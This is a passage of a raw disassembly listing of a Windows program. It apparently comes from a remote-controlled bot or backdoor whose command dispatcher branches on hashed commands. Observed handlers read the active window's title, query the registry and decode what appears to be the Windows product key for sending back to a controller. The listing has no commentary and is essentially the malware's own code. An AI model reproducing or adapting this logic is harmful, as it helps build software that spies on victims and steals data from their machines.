ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: .data:0041AE78o ; .data:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call dword_4171D8 ; GetForegroundWindow push eax call dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset dword_419DDC lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset dword_418B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DA68 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41EC30 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DA48 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax 